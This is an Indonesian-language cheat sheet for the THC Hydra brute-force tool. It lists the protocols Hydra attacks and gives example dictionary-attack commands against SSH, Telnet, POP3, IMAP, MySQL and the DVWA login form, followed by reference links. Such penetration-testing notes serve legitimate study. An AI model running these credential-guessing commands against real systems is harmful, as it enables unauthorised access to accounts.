Hydra
System yang di serang
Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, S7-300, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
Contoh cara menggunakan
hydra -L userlist.txt -P password.txt namaprotocol://mesin-korban hydra -L userlist.txt -P passwordlist.txt ssh://192.168.0.80 hydra -L userlist.txt -P passwordlist.txt -e ns -u -f ssh://192.168.0.80 hydra -L userlist.txt -P passwordlist.txt -e ns -u -f telnet://192.168.0.80 hydra -L userlist.txt -P passwordlist.txt -e ns -u -f pop3://192.168.0.80 hydra -L userlist.txt -P passwordlist.txt -e ns -u -f imap://192.168.0.80 hydra -L userlist.txt -P passwordlist.txt -e ns -u -f 192.168.0.80 mysql
Untuk DVWA
hydra -l admin -p password http-get-form "/DVWA-1.0.8/login.php:username=^USER^&password=^PASS^&submit=Login:Login failed" hydra –L UserNameFile –P PasswordFile –e ns –t 32 –u –f –m /DVWA-1.0.8/login.php:username=^USER^&password=^PASS^&Login=Login <IP> http-post-form hydra –L userlist.txt –P passwordlist.txt –e ns –t 32 –u –f –m /DVWA-1.0.8/login.php:username=^USER^&password=^PASS^&Login=Login 192.168.0.80 http-post-form
Referensi
- https://www.thc.org/thc-hydra/
- http://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-online-web-form-passwords-with-thc-hydra-burp-suite-0160643/
General usage and options
- http://www.aldeid.com/wiki/Thc-hydra
- http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/
HTTP basic auth
- https://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29
- http://www.sillychicken.co.nz/Security/how-to-brute-force-your-router-in-windows.html
HTTP form based auth
- http://www.art0.org/security/performing-a-dictionary-attack-on-an-http-login-form-using-hydra
- http://insidetrust.blogspot.com/2011/08/using-hydra-to-dictionary-attack-web.html
- http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html
- https://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29
Multiple protocols
- http://wiki.bywire.org/Hydra
- http://www.attackvector.org/brute-force-with-thc-hydra/
- http://www.madirish.net/content/hydra-brute-force-utility